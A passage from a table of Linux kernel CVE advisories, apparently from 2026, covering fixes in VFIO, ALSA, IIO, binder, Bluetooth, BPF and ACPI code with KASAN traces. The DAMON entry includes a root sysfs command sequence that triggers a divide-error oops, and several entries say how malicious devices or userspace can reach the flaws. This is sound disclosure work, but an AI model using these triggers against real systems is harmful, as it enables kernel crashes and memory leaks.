narrow, but the fix is still worth carrying because the underlying memory-safety bug contaminates the guest RNG on any host. KASAN confirms the OOB on a 7.1-rc4 guest whose virtio-rng backend has been patched to report used.len = 0x10000: BUG: KASAN: slab-out-of-bounds in virtio_read+0x394/0x5d0 Read of size 64 at addr ffff88800ae0ba20 by task hwrng/52 Call Trace: __asan_memcpy+0x23/0x60 virtio_read+0x394/0x5d0 hwrng_fillfn+0xb2/0x470 kthread+0x2cc/0x3a0 Allocated by task 1: probe_common+0xa5/0x660 virtio_dev_probe+0x549/0xbc0 The buggy address belongs to the object at ffff88800ae0b800 which belongs to the cache kmalloc-1k of size 1024 The buggy address is located 0 bytes to the right of allocated 544-byte region [ffff88800ae0b800, ffff88800ae0ba20) Same class of bug as commit c04db81cd028 ("net/9p: Fix buffer overflow in USB transport layer"), which hardened usb9pfs_rx_complete() against unchecked device-reported length in the USB 9p transport. With the clamp at point of use and array_index_nospec() in place, the same harness boots cleanly: copy_data() returns zero for the bogus report, the device-supplied bytes after data_idx are discarded, and the driver issues a fresh request. |
| CVE-2026-64458 | In the Linux kernel, the following vulnerability has been resolved: mm/damon/ops-common: handle extreme intervals in damon_hot_score() Fix three issues in damon_hot_score() that comes from wrong handling of extreme (zero or too high) monitoring intervals user setup. When the user sets sampling interval zero, damon_max_nr_accesses(), which is called from damon_hot_score(), causes a divide-by-zero. Needless to say, it is a problem. When the user sets the aggregation interval zero, the function returns zero. It is wrong, since the real maximum nr_acceses in the setup should be one. Worse yet, it can cause another divide-by-zero from its caller, damon_hot_score(), since it uses damon_max_nr_accesses() return value as a denominator. When the user sets the aggregation interval very high, damon_hot_score() could return a value out of [0, DAMOS_MAX_SCORE] range. Since the return value is used as an index to the regions_score_histogram array, which is DAMOS_MAX_SCORE+1 size, it causes out of bounds array access. The issues can be relatively easily reproduced like below. The sysfs write permission is required, though. # ./damo start --damos_action lru_prio --damos_quota_space 100M \ --damos_quota_interval 1s # cd /sys/kernel/mm/damon/admin/kdamonds/0 # echo 0 > contexts/0/monitoring_attrs/intervals/sample_us # echo 0 > contexts/0/monitoring_attrs/intervals/aggr_us # echo commit > state # dmesg [...] [ 131.329762] Oops: divide error: 0000 [#1] SMP NOPTI [...] [ 131.336089] RIP: 0010:damon_hot_score+0x27/0xd0 [...] Fix the divide-by-zero intervals problems by explicitly handling the zero intervals in damon_max_nr_accesses(). Fix the out-of-bound array access by applying [0, DAMOS_MAX_SCORE] bounds before returning from damon_hot_score(). The issue was discovered [1] by Sashiko. |
| CVE-2026-64461 | In the Linux kernel, the following vulnerability has been resolved: PCI: mediatek: Fix IRQ domain leak when port fails to enable When mtk_pcie_enable_port() fails, mtk_pcie_port_free() removes the port from pcie->ports and frees the port structure. However, the IRQ domains set up earlier by mtk_pcie_init_irq_domain() are never freed. Fix this by refactoring mtk_pcie_irq_teardown() into a per-port helper, mtk_pcie_irq_teardown_port(), and calling it from mtk_pcie_setup() when mtk_pcie_enable_port() fails. Since the IRQ teardown must only happen in the probe error path (during resume, child devices may have active MSI mappings and the NOIRQ context prohibits sleeping locks), mtk_pcie_enable_port() is changed to return an error code so callers can distinguish the two paths and act accordingly. This issue was reported by Sashiko while reviewing the EcoNet EN7528 SoC support series. |
| CVE-2026-64462 | In the Linux kernel, the following vulnerability has been resolved: PCI: altera: Fix resource leaks on probe failure The chained IRQ handler is set during probe, but is only removed during the driver remove(). If pci_host_probe() fails, the handler and INTx IRQ domain remain set even though the devm-managed host bridge storage containing struct altera_pcie will be released, leaving the handler with a stale data pointer. Interrupts are also enabled before pci_host_probe() is called. If probe fails after that point, the controller interrupt source should be disabled before the chained handler and INTx domain are removed. So set the chained handler only after the INTx domain has been created. Disable controller interrupts during IRQ teardown, and tear the IRQ setup down if pci_host_probe() fails. [mani: commit log] |
| CVE-2026-64463 | In the Linux kernel, the following vulnerability has been resolved: usb: typec: tcpci_rt1711h: unregister TCPCI port with devres rt1711h_probe() registers the TCPCI port before requesting the interrupt and enabling alert interrupts. If either of those later steps fails, the probe function returns without unregistering the TCPCI port. The explicit unregister currently only happens from the remove callback. Register a devres action immediately after tcpci_register_port() succeeds, so tcpci_unregister_port() runs on later probe failures and on driver detach. Drop the remove callback to avoid unregistering the same port twice. This issue was identified during our ongoing static-analysis research while reviewing kernel code. |
| CVE-2026-64465 | In the Linux kernel, the following vulnerability has been resolved: usb: xhci: Fix sleep in atomic context in xhci_free_streams() When a USB device with active stream endpoints is disconnected, xhci_free_streams() is called from the hub_event workqueue to free the stream resources. It calls xhci_free_stream_info() while holding xhci->lock with irqs disabled. xhci_free_stream_info() invokes xhci_free_stream_ctx(), which calls dma_free_coherent() for large stream context arrays. dma_free_coherent() can sleep (e.g. via vunmap), triggering a BUG when called from atomic context. Call trace: dma_free_attrs+0x174/0x220 xhci_free_stream_info+0xd0/0x11c xhci_free_streams+0x278/0x37c usb_free_streams+0x98/0xc0 usb_unbind_interface+0x1b8/0x2f8 device_release_driver_internal+0x1d4/0x2cc device_release_driver+0x18/0x28 bus_remove_device+0x160/0x1a4 device_del+0x1ec/0x350 usb_disable_device+0x98/0x214 usb_disconnect+0xf0/0x35c hub_event+0xab4/0x19ec process_one_work+0x278/0x63c Fix this by saving the stream_info pointers and clearing the ep references under the lock, then calling xhci_free_stream_info() outside the lock where sleeping is allowed. |
| CVE-2026-64468 | In the Linux kernel, the following vulnerability has been resolved: binder: fix UAF in binder_free_transaction() In binder_free_transaction(), the t->to_proc is read under the t->lock. However, once the t->lock is dropped, the to_proc can die in parallel. This leads to a use-after-free error when we attempt to acquire its inner lock right afterwards: ================================================================== BUG: KASAN: slab-use-after-free in _raw_spin_lock+0xe4/0x1a0 Write of size 4 at addr ffff00001125da70 by task B/672 CPU: 20 UID: 0 PID: 672 Comm: B Not tainted 7.1.0-rc6-00284-g8e65320d91cd #4 PREEMPT Hardware name: linux,dummy-virt (DT) Call trace: _raw_spin_lock+0xe4/0x1a0 binder_free_transaction+0x8c/0x320 binder_send_failed_reply+0x21c/0x2f8 binder_thread_release+0x488/0x7e0 binder_ioctl+0x12c0/0x29a0 [...] Allocated by task 675: __kmalloc_cache_noprof+0x174/0x444 binder_open+0x118/0xb70 do_dentry_open+0x374/0x1040 vfs_open+0x58/0x3bc [...] Freed by task 212: __kasan_slab_free+0x58/0x80 kfree+0x1a0/0x4a4 binder_proc_dec_tmpref+0x32c/0x5e0 binder_deferred_func+0xc48/0x104c process_one_work+0x53c/0xbc0 [...] ================================================================== To prevent this, pin the target thread (t->to_thread) to guarantee the target process remains alive. Undelivered transactions without a target thread are already safe, as the target process can only be the current context in those paths. |
| CVE-2026-64469 | In the Linux kernel, the following vulnerability has been resolved: binder: fix UAF in binder_thread_release() When a thread exits, binder_thread_release() walks its transaction stack to clear the t->from and t->to_proc that correspond with the exiting thread. However, a process dying in parallel might attempt to kfree some of these transactions. And if one of them has no associated t->to_proc, the t->to_proc->inner_lock will not be acquired. This means that transaction accesses in binder_thread_release() after t->to_proc has been cleared might race with binder_free_transaction() and cause a use-after-free error as reported by KASAN: ================================================================== BUG: KASAN: slab-use-after-free in binder_thread_release+0x5d0/0x798 Write of size 8 at addr ffff000016627500 by task X/715 CPU: 17 UID: 0 PID: 715 Comm: X Not tainted 7.1.0-rc5-00149-g8fde5d1d47f6 #30 PREEMPT Hardware name: linux,dummy-virt (DT) Call trace: binder_thread_release+0x5d0/0x798 binder_ioctl+0x12c0/0x299c [...] Allocated by task 717 on cpu 18 at 67.267803s: __kasan_kmalloc+0xa0/0xbc __kmalloc_cache_noprof+0x174/0x444 binder_transaction+0x554/0x8150 binder_thread_write+0xa30/0x4354 binder_ioctl+0x20f0/0x299c [...] Freed by task 202 on cpu 18 at 90.416221s: __kasan_slab_free+0x58/0x80 kfree+0x1a0/0x4a4 binder_free_transaction+0x150/0x294 binder_send_failed_reply+0x398/0x6d8 binder_release_work+0x3e4/0x4ec binder_deferred_func+0xbd8/0x104c [...] ================================================================== In order to avoid this, make sure that binder_free_transaction() reads the t->to_proc under the transaction lock. This will serialize the transaction release with the accesses in binder_thread_release(). Plus, it matches the documented locking rules for @to_proc. |
| CVE-2026-64470 | In the Linux kernel, the following vulnerability has been resolved: Bluetooth: btusb: fix use-after-free on marvell probe failure Make sure to stop any TX URBs submitted during Marvell OOB wakeup configuration on later probe failures to avoid use-after-free in the completion callback. This issue was reported by Sashiko while reviewing a fix for a wakeup source leak in the btusb probe errors paths. |
| CVE-2026-64471 | In the Linux kernel, the following vulnerability has been resolved: Bluetooth: btusb: fix use-after-free on registration failure Make sure to release the sibling interfaces in case controller registration fails to avoid use-after-free and double-free when they are eventually disconnected. This issue was reported by Sashiko while reviewing a fix for a wakeup source leak in the btusb probe errors paths. |
| CVE-2026-64472 | In the Linux kernel, the following vulnerability has been resolved: vfio/mlx5: Fix racy bitfields and tighten struct layout Bitfield operations are not atomic, they use a read-modify-write pattern, therefore we should be careful not to pack bitfields that can be concurrently updated into the same storage unit. This split takes a binary approach: flags that are only modified pre/post open/close remain bitfields, flags modified from user action, including actions that reach across to another device (ex. reset) use dedicated storage units. Note mlx5_vhca_page_tracker.status is relocated to fill the alignment hole this split exposes. Bitfield justifications: migrate_cap: written only in mlx5vf_cmd_set_migratable() at probe chunk_mode: written only in mlx5vf_cmd_set_migratable() at probe mig_state_cap: written only in mlx5vf_cmd_set_migratable() at probe Dedicated storage units: mdev_detach: written in the VF attach/detach event notifier mlx5fv_vf_event() at runtime log_active: written in mlx5vf_start_page_tracker()/ mlx5vf_stop_page_tracker() during runtime dirty tracking deferred_reset: written in mlx5vf_state_mutex_unlock()/ mlx5vf_pci_aer_reset_done() during runtime reset handling is_err: set by tracker error handling and dirty-log polling at runtime object_changed: set by tracker event handling and cleared by dirty-log polling at runtime |
| CVE-2026-64473 | In the Linux kernel, the following vulnerability has been resolved: vfio: Remove device debugfs before releasing devres VFIO device debugfs files created with debugfs_create_devm_seqfile() store a devres allocated debugfs_devm_entry as inode private data. vfio_unregister_group_dev() currently calls vfio_device_del() before vfio_device_debugfs_exit(), but device_del() releases devres. This can leave debugfs entries visible with stale inode private data while unregister waits for userspace references to drain. Remove the per-device debugfs tree before vfio_device_del(). The debugfs view is diagnostic only, so losing it at the start of unregister is preferable to preserving entries whose backing storage may already have been released. Complete the teardown by clearing the per-device debugfs root after removal. This matches the global debugfs root cleanup and prevents future users from mistaking a removed dentry for a live debugfs tree during the remainder of unregister. |
| CVE-2026-64474 | In the Linux kernel, the following vulnerability has been resolved: vfio: prevent infinite loop in vfio_mig_get_next_state() on blocked arc vfio_mig_get_next_state() walks vfio_from_fsm_table[] one step at a time, looping to skip optional states the device does not support until *next_fsm is supported. A blocked transition is encoded as VFIO_DEVICE_STATE_ERROR, which the trailing return reports as -EINVAL. The skip loop does not account for the ERROR sentinel. state_flags_table[ERROR] is ~0U and vfio_from_fsm_table[ERROR][*] is ERROR, so once *next_fsm becomes ERROR the loop condition stays true and *next_fsm never changes. The blocked arcs STOP_COPY -> PRE_COPY and STOP_COPY -> PRE_COPY_P2P map to ERROR yet pass the support check on a precopy-capable device, causing the loop to spin forever while holding the driver state mutex. This can result in a soft lockup, and a panic with softlockup_panic set. Terminate the skip loop on the ERROR sentinel so a blocked transition falls through to the existing return and reports -EINVAL. |
| CVE-2026-64475 | In the Linux kernel, the following vulnerability has been resolved: vfio/pci: Release the VGA arbiter client on register_device() failure The re-order in the Fixes commit below displaced vfio_pci_vga_init() as the last failure point of what is now vfio_pci_core_register_device() without introducing an unwind for the VGA arbiter registration. In current kernels this is mostly benign because vfio_pci_set_decode() only uses pci_dev state, but the original failure path could leave a callback with a freed vdev cookie. The stale registration also becomes unsafe again once the callback follows drvdata to the vfio device. Add the required VGA unwind callout. |
| CVE-2026-64476 | In the Linux kernel, the following vulnerability has been resolved: vfio/pci: Latch disable_idle_d3 per device When disable_idle_d3 was introduced in vfio-pci, it directly manipulated the device power state with pci_set_power_state(). There were no refcounts to maintain or balanced operations, we could unconditionally bring the device to D0 and conditionally move it to D3hot. Therefore the module parameter was made writable. Later, in commit c61302aa48f7 ("vfio/pci: Move module parameters to vfio_pci.c"), as part of the vfio-pci-core split, the writable aspect of the module parameter was nullified. The parameter value could still be changed through sysfs, but the vfio-pci driver latched the values into vfio-pci-core globals at module init. Loading the vfio-pci module, or unloading and reloading, with non-default or different values could change the globals relative to existing devices bound to vfio-pci variant drivers. Runtime PM was introduced in commit 7ab5e10eda02 ("vfio/pci: Move the unused device into low power state with runtime PM"), which marks the point where power states became refcounted. PM get and put operations need to be balanced, but the same module operations noted above can change the global variables relative to those devices already bound to vfio-pci variant drivers. This introduces a window where PM operations can now become unbalanced. To resolve this with a narrow footprint for stable backports, the disable_idle_d3 flag is latched into the vfio_pci_core_device at the time of initialization, such that the device always operates with a consistent value. NB. vfio_pci_dev_set_try_reset() now unconditionally raises the runtime PM usage count around bus reset to account for disable_idle_d3 becoming a per-device rather than global flag. When this flag is set, the additional get/put pair is harmless and allows continued use of the shared vfio_pci_dev_set_pm_runtime_get() helper. |
| CVE-2026-64478 | In the Linux kernel, the following vulnerability has been resolved: ALSA: usb-audio: avoid kobject path lookup in DualSense match The DualSense jack-detection input handler verifies that a matching input device belongs to the same physical controller by building kobject path strings for both the input device and the USB audio device, then comparing the path prefix. This was observed when a weak physical connection caused the controller to rapidly disconnect and reconnect. During that repeated hotplug, snd_dualsense_ih_match() can run while the controller's USB device is being disconnected. kobject_get_path() walks ancestor kobjects and dereferences their names; if the USB device kobject name is no longer valid, this can fault in strlen(): RIP: 0010:strlen+0x10/0x30 Call Trace: kobject_get_path+0x34/0x150 snd_dualsense_ih_match+0x49/0xd0 [snd_usb_audio] input_register_device+0x566/0x6a0 ps_probe+0xb89/0x1590 [hid_playstation] The same ownership check can be done without building kobject path strings. The input device is parented below the HID device, USB interface and USB device, so walking the input device parent chain and comparing against the mixer USB device preserves the check without dereferencing kobject names during disconnect. |
| CVE-2026-64479 | In the Linux kernel, the following vulnerability has been resolved: ALSA: seq: Fix uninitialised heap leak in snd_seq_event_dup() snd_seq_event_dup() copies an incoming event into a pool cell and, in the UMP-enabled build, clears the trailing cell->ump.raw.extra word that the memcpy() did not cover. The guard deciding whether to clear it compares the copied size against sizeof(cell->event): memcpy(&cell->ump, event, size); if (size < sizeof(cell->event)) cell->ump.raw.extra = 0; For a legacy (non-UMP) event, size == sizeof(struct snd_seq_event) == sizeof(cell->event), so the condition is false and the extra word keeps stale data. The cell pool is allocated with kvmalloc() (not zeroed) and cells are reused via a free list, so that word holds uninitialised heap or leftover event data. When such a cell is delivered to a UMP client (client->midi_version > 0) that set SNDRV_SEQ_FILTER_NO_CONVERT -- so the legacy event reaches it unconverted -- snd_seq_read() reads it out as the larger struct snd_seq_ump_event and copies the stale word to user space, a 4-byte kernel heap infoleak to an unprivileged /dev/snd/seq client. Compare against sizeof(cell->ump) instead, so the trailing word is zeroed for every event shorter than the UMP cell. |
| CVE-2026-64480 | In the Linux kernel, the following vulnerability has been resolved: ALSA: ice1712: check snd_ctl_new1() return value snd_ctl_new1() can return NULL when memory allocation fails. The ice1712 driver calls snd_ctl_new1() without checking the return value before dereferencing the pointer in multiple places (ice1712.c, ice1724.c, aureon.c), which can lead to NULL pointer dereferences. Add NULL checks after snd_ctl_new1() calls and return -ENOMEM if any fails. |
| CVE-2026-64481 | In the Linux kernel, the following vulnerability has been resolved: ALSA: hda/cs35l41: Fix firmware load work teardown cs35l41_hda creates ALSA controls whose private data points at the cs35l41_hda object. The firmware load control can also queue fw_load_work. Those controls are not removed on component unbind, and device remove only cancels fw_load_work through cs35l41_remove_dsp(). That helper is skipped when halo_initialized is false. With firmware_autostart disabled, a firmware load can be requested before the DSP has been initialized. If the component or device is removed before the queued work runs, the worker can run after teardown and dereference driver state that is no longer valid. Track the created controls and remove them on unbind so no new control callback can reach the driver data or queue more work. Then cancel fw_load_work to drain any request that was already queued. Also cancel the work unconditionally during device remove before runtime PM teardown. |
| CVE-2026-64482 | In the Linux kernel, the following vulnerability has been resolved: ALSA: gus: check snd_ctl_new1() return value snd_ctl_new1() can return NULL when memory allocation fails. snd_gf1_pcm_volume_control() does not check the return value before dereferencing kctl->id.index, which can lead to a NULL pointer dereference. Add a NULL check after snd_ctl_new1() and return -ENOMEM if it fails. |
| CVE-2026-64483 | In the Linux kernel, the following vulnerability has been resolved: ALSA: firewire: isight: bound the sample count to the packet payload isight_packet() takes the frame count from the device iso packet and checks it only against the device claimed iso length. count = be32_to_cpu(payload->sample_count); if (likely(count <= (length - 16) / 4)) isight_samples(isight, payload->samples, count); length is the iso header data_length. It can be up to 0xffff. So the gate allows a count up to about 16379. isight_samples() then copies count frames out of payload->samples into the PCM DMA buffer. payload->samples holds only 2 * MAX_FRAMES_PER_PACKET values. The device multiplexes two samples per frame. A count past MAX_FRAMES_PER_PACKET reads past the payload. A count past the buffer size writes past runtime->dma_area. The smallest PCM buffer is larger than MAX_FRAMES_PER_PACKET. Bounding the count to MAX_FRAMES_PER_PACKET keeps both the read and the write in range. A malicious or faulty Apple iSight on the FireWire bus reaches this during a normal capture. Add the MAX_FRAMES_PER_PACKET bound to the gate. |
| CVE-2026-64484 | In the Linux kernel, the following vulnerability has been resolved: ALSA: es1938: check snd_ctl_new1() return value snd_ctl_new1() can return NULL when memory allocation fails. snd_es1938_mixer() does not check the return value before dereferencing the pointer, which can lead to a NULL pointer dereference. Add a NULL check after snd_ctl_new1() and return -ENOMEM if it fails. |
| CVE-2026-64486 | In the Linux kernel, the following vulnerability has been resolved: ALSA: cmipci: check snd_ctl_new1() return value snd_ctl_new1() can return NULL when memory allocation fails. snd_cmipci_spdif_controls() does not check the return value before dereferencing kctl->id.device, which can lead to a NULL pointer dereference. Add NULL checks after snd_ctl_new1() calls and return -ENOMEM if any fails. |
| CVE-2026-64487 | In the Linux kernel, the following vulnerability has been resolved: ALSA: caiaq: fix out-of-bounds read in the Traktor Kontrol S4 input parser snd_usb_caiaq_tks4_dispatch() decodes the Traktor Kontrol S4 input stream in fixed 16-byte (TKS4_MSGBLOCK_SIZE) message blocks. On every iteration it advances buf and subtracts the block size while looping on "while (len)". len is urb->actual_length. That value is supplied by the device and is not guaranteed to be a multiple of 16. When a final short block leaves len between 1 and 15, the loop runs once more, reads up to buf[15], and then does "len -= TKS4_MSGBLOCK_SIZE". As len is unsigned this underflows to a huge value. The loop then keeps iterating and walking buf far past the end of the 512-byte ep4_in_buf, reading out of bounds until a bogus block id happens to be hit. Iterate only while a full message block is available. This stops the unsigned underflow and silently drops any trailing partial block, which carries no complete control value anyway. The sibling endpoint-4 parsers are not affected. The Traktor Kontrol X1 and Maschine arms in snd_usb_caiaq_ep4_reply_dispatch() floor urb->actual_length before dispatching. |
| CVE-2026-64488 | In the Linux kernel, the following vulnerability has been resolved: ALSA: aoa: check snd_ctl_new1() return value snd_ctl_new1() can return NULL when memory allocation fails. In layout.c, the function does not check the return value before dereferencing ctl->id.name or passing to aoa_snd_ctl_add(), which can lead to a NULL pointer dereference. Add NULL checks after snd_ctl_new1() calls and return early if any fails. |
| CVE-2026-64489 | In the Linux kernel, the following vulnerability has been resolved: ALSA: ymfpci: check snd_ctl_new1() return value snd_ctl_new1() can return NULL when memory allocation fails. snd_ymfpci_create_spdif_controls() does not check the return value before dereferencing kctl->id.device, which can lead to a NULL pointer dereference. Add NULL checks after snd_ctl_new1() calls and return -ENOMEM if any fails. |
| CVE-2026-64493 | In the Linux kernel, the following vulnerability has been resolved: iio: pressure: mpl115: fix runtime PM leak on read error mpl115_read_raw() takes a runtime PM reference with pm_runtime_get_sync() before reading the processed pressure or raw temperature, but on the read error path it returns without calling pm_runtime_put_autosuspend(). Each failed read therefore leaks a runtime PM reference and prevents the device from autosuspending. Drop the reference before checking the return value so both the success and error paths are balanced. |
| CVE-2026-64494 | In the Linux kernel, the following vulnerability has been resolved: iio: light: gp2ap002: fix runtime PM leak on read error gp2ap002_read_raw() calls pm_runtime_get_sync() before reading the lux value, but if gp2ap002_get_lux() fails, it returns directly. This skips the pm_runtime_put_autosuspend() call at the "out" label, permanently leaking a runtime PM reference and preventing the device from autosuspending. Replace the direct return with a "goto out" to ensure the reference is properly dropped on the error path. |
| CVE-2026-64495 | In the Linux kernel, the following vulnerability has been resolved: iio: gyro: bmg160: bail out when bandwidth/filter is not in table bmg160_get_filter() walks bmg160_samp_freq_table[] looking for the entry matching the bw_bits value read from the chip: for (i = 0; i < ARRAY_SIZE(bmg160_samp_freq_table); ++i) { if (bmg160_samp_freq_table[i].bw_bits == bw_bits) break; } *val = bmg160_samp_freq_table[i].filter; If no entry matches, i ends up equal to the array size and the next line reads one slot past the end. bmg160_set_filter() has the same shape, driven by 'val' instead of bw_bits. smatch flags both: drivers/iio/gyro/bmg160_core.c:204 bmg160_get_filter() error: buffer overflow 'bmg160_samp_freq_table' 7 <= 7 drivers/iio/gyro/bmg160_core.c:222 bmg160_set_filter() error: buffer overflow 'bmg160_samp_freq_table' 7 <= 7 Return -EINVAL when no entry matches. The set_filter() path is reachable from userspace via the sysfs in_anglvel_filter_low_pass_3db_frequency interface, so userspace can trivially trigger the out-of-bounds read with a value that is not in bmg160_samp_freq_table[].filter. |
| CVE-2026-64496 | In the Linux kernel, the following vulnerability has been resolved: iio: event: Fix event FIFO reset race `iio_event_getfd()` creates the event file descriptor with `anon_inode_getfd()`, which allocates a new fd, creates the anonymous file and installs it in the process fd table before returning to the caller. The IIO code resets the event FIFO after `anon_inode_getfd()` has returned, but before `IIO_GET_EVENT_FD_IOCTL` has copied the fd number to userspace. But since fd tables are shared between threads, another thread can guess the newly allocated fd number and issue a `read()` on it as soon as the fd has been installed. This means the `kfifo_to_user()` in `iio_event_chrdev_read()` can run in parallel with the `kfifo_reset_out()` in `iio_event_getfd()`. The kfifo documentation says that `kfifo_reset_out()` is only safe when it is called from the reader thread and there is only one concurrent reader. Otherwise it is dangerous and must be handled in the same way as `kfifo_reset()`. If that happens, `kfifo_to_user()` can advance the FIFO `out` index based on state from before the reset, after the reset has already moved the `out` index to the current `in` index. That can leave the FIFO with an `out` index past the `in` index. A later `read()` can then see an underflowed FIFO length and copy more data than the event FIFO buffer contains. This can result in an out-of-bounds read and leak adjacent kernel memory to userspace. Move the FIFO reset before `anon_inode_getfd()`. At that point the event fd is marked busy, but the new fd has not been installed yet, so userspace cannot access it while the FIFO is reset. |
| CVE-2026-64497 | In the Linux kernel, the following vulnerability has been resolved: iio: chemical: scd30: Cleanup initializations and fix sign-extension bug Include linux/bitfield.h for FIELD_GET(). Create new macros for bit manipulation in combination with manual bit manipulation being replaced with FIELD_GET(). The current variable declaration and initializations are barely readable and use comma separations across multiple lines. Refactor the initializations so that mantissa and exp have separate declarations and sign gets initialized later. In addition (and due to the nature of the cleanup), fix a sign-extension bug where, float32 would get bitwise anded with ~BIT(31) (which is 0xFFFFFFFF7FFFFFFF) which corrupted the exponent. |
| CVE-2026-64500 | In the Linux kernel, the following vulnerability has been resolved: iio: adc: lpc32xx: Initialize completion before requesting IRQ In the report from Jaeyoung Chung: "lpc32xx_adc_probe() in drivers/iio/adc/lpc32xx_adc.c registers its interrupt handler with devm_request_irq() before it initializes st->completion with init_completion(). If an interrupt arrives after devm_request_irq() and before init_completion(), the handler calls complete() on an uninitialized completion, causing a kernel panic. The probe path, in lpc32xx_adc_probe(): iodev = devm_iio_device_alloc(&pdev->dev, sizeof(*st)); /* st kzalloc-zeroed */ ... retval = devm_request_irq(&pdev->dev, irq, lpc32xx_adc_isr, 0, LPC32XXAD_NAME, st); /* register handler */ ... init_completion(&st->completion); /* initialize completion */ lpc32xx_adc_isr() calls complete(): complete(&st->completion); If the device raises an interrupt before init_completion() runs, complete() acquires the uninitialized wait.lock and walks the zeroed task_list in swake_up_locked(). The zeroed task_list makes list_empty() return false, so swake_up_locked() dereferences a NULL list entry, triggering a KASAN wild-memory-access." Fix the chance of a spurious IRQ causing an uninitialized pointer dereference by moving init_completion() above devm_request_irq(). |
| CVE-2026-64503 | In the Linux kernel, the following vulnerability has been resolved: iio: accel: kxsd9: fix runtime PM imbalance on write_raw() error kxsd9_write_raw() takes a runtime PM reference with pm_runtime_get_sync() but returns -EINVAL directly when a scale with a non-zero integer part is requested, skipping the matching pm_runtime_put_autosuspend(). This leaks a runtime PM usage-counter reference on every such write, after which the device can no longer autosuspend. Set the error code and fall through to the existing put instead of returning early. |
| CVE-2026-64504 | In the Linux kernel, the following vulnerability has been resolved: iio: accel: bmc150: clamp the device-reported FIFO frame count __bmc150_accel_fifo_flush() copies the number of samples the device reports in its hardware FIFO into an on-stack buffer u16 buffer[BMC150_ACCEL_FIFO_LENGTH * 3]; which is sized for at most BMC150_ACCEL_FIFO_LENGTH (32) samples. The frame count is read from the FIFO_STATUS register and only masked to its 7 valid bits: count = val & 0x7F; so it can be 0..127. The only other limit applied to it is the optional caller-supplied sample budget: if (samples && count > samples) count = samples; which does not constrain count on the flush-all path (samples == 0), and leaves it well above 32 whenever samples is larger. count samples are then transferred into buffer[]: bmc150_accel_fifo_transfer(data, (u8 *)buffer, count); bmc150_accel_fifo_transfer() reads count * 6 bytes through regmap, so a malfunctioning, malicious or counterfeit accelerometer (or an attacker tampering with the I2C/SPI bus) that reports up to 127 frames writes up to 762 bytes into the 192-byte buffer: a stack out-of-bounds write of up to 570 bytes that clobbers the stack canary, saved registers and the return address. Clamp count to BMC150_ACCEL_FIFO_LENGTH, the number of samples buffer[] is sized for, before the transfer, mirroring the watermark clamp already done in bmc150_accel_set_watermark(). A well-formed flush reports at most BMC150_ACCEL_FIFO_LENGTH frames, so legitimate devices are unaffected. |
| CVE-2026-64505 | In the Linux kernel, the following vulnerability has been resolved: usb: gadget: function: rndis: add length check for header Add a length check for the rndis header in rndis_rm_hdr, to ensure that MessageType, MessageLength, DataOffset, and DataLength fields are present before they are accessed. |
| CVE-2026-64507 | In the Linux kernel, the following vulnerability has been resolved: x86/bugs: Enable IBPB flush on BPF JIT allocation Enable hardening against JIT spraying when Spectre-v2 mitigations are in use. Specifically, issue an IBPB flush on BPF JIT memory reuse. Skip enabling the IBPB flush if the BPF dispatcher is already using a retpoline sequence. This hardening applies only when BPF-JIT is in use. Guard the enabling under CONFIG_BPF_JIT so that bugs.c still builds with CONFIG_BPF_JIT=n. |
| CVE-2026-64508 | In the Linux kernel, the following vulnerability has been resolved: bpf: Support for hardening against JIT spraying The BPF JIT allocator packs many small programs into larger executable allocations and reuses space within those allocations as programs are loaded and freed. When fresh code is written into space that a previous program occupied, an indirect jump into the new program can reuse a branch prediction left behind by the old one. Flush the indirect branch predictors before reusing JIT memory so that indirect jumps into a newly written program don't reuse predictions from an old program that occupied the same space. Introduce bpf_arch_pred_flush_enabled static key and bpf_arch_pred_flush static call for flushing the branch predictors on JIT memory reuse. Architectures that need a flush, can update it to a predictor flush function. By default, its a NOP and does not emit any CALL. Allocations larger than a pack are not covered by this flush. That is safe because cBPF programs (the unprivileged attack surface) are bounded well below a pack size. Issue a warning if this assumption is ever violated while the flush is active. |
| CVE-2026-64510 | In the Linux kernel, the following vulnerability has been resolved: ACPI: NFIT: core: Fix acpi_nfit_init() error cleanup If acpi_nfit_init() fails after adding the acpi_desc object to the acpi_descs list, that object is never removed from that list because the acpi_nfit_shutdown() devm action is not added for the NFIT device in that case. Next, the acpi_nfit_init() failure causes acpi_nfit_probe() to fail, the acpi_desc object is freed, and a dangling pointer is left behind in the acpi_descs. Any subsequent ACPI Machine Check Exception will trigger nfit_handle_mce() which iterates over acpi_descs and so a use-after-free will occur. Moreover, if acpi_nfit_probe() returns 0 after installing a notify handler for the NFIT device and without allocating the acpi_desc object and setting the NFIT device's driver data pointer, the acpi_desc object will be allocated by acpi_nfit_update_notify() and acpi_nfit_init() will be called to initialize it. Regardless of whether or not acpi_nfit_init() fails in that case, the acpi_nfit_shutdown() devm action is not added for the NFIT device and acpi_desc is never removed from the acpi_descs list. If the acpi_desc object is freed subsequently on driver removal, any subsequent ACPI MCE will lead to a use-after-free like in the previous case. To address the first issue mentioned above, make acpi_nfit_probe() call acpi_nfit_shutdown() directly on acpi_nfit_init() failures and to address the other one, add a remove callback to the driver and make it call acpi_nfit_shutdown(). Also, since it is now possible to pass NULL to acpi_nfit_shutdown() or the acpi_desc object passed to it may not have been initialized, add checks against NULL for acpi_desc and its nvdimm_bus field to that function and make acpi_nfit_unregister() clear the latter after unregistering the NVDIMM bus. |
| CVE-2026-64511 | In the Linux kernel, the following vulnerability has been resolved: ACPI: NFIT: core: Fix possible NULL pointer dereference After commit 9b311b7313d6 ("ACPI: NFIT: Install Notify() handler before getting NFIT table"), acpi_nfit_probe() installs an ACPI notify handler for the NFIT device before checking the presence of the NFIT table. If that table is not there, 0 is returned without allocating the acpi_desc object and setting the driver data pointer of the NFIT device. If the platform firmware triggers an NFIT_NOTIFY_UC_MEMORY_ERROR notification on the NFIT device at that point, acpi_nfit_uc_error_notify() will dereference a NULL pointer. Prevent that from occurring by adding an acpi_desc check against NULL to acpi_nfit_uc_error_notify(). |
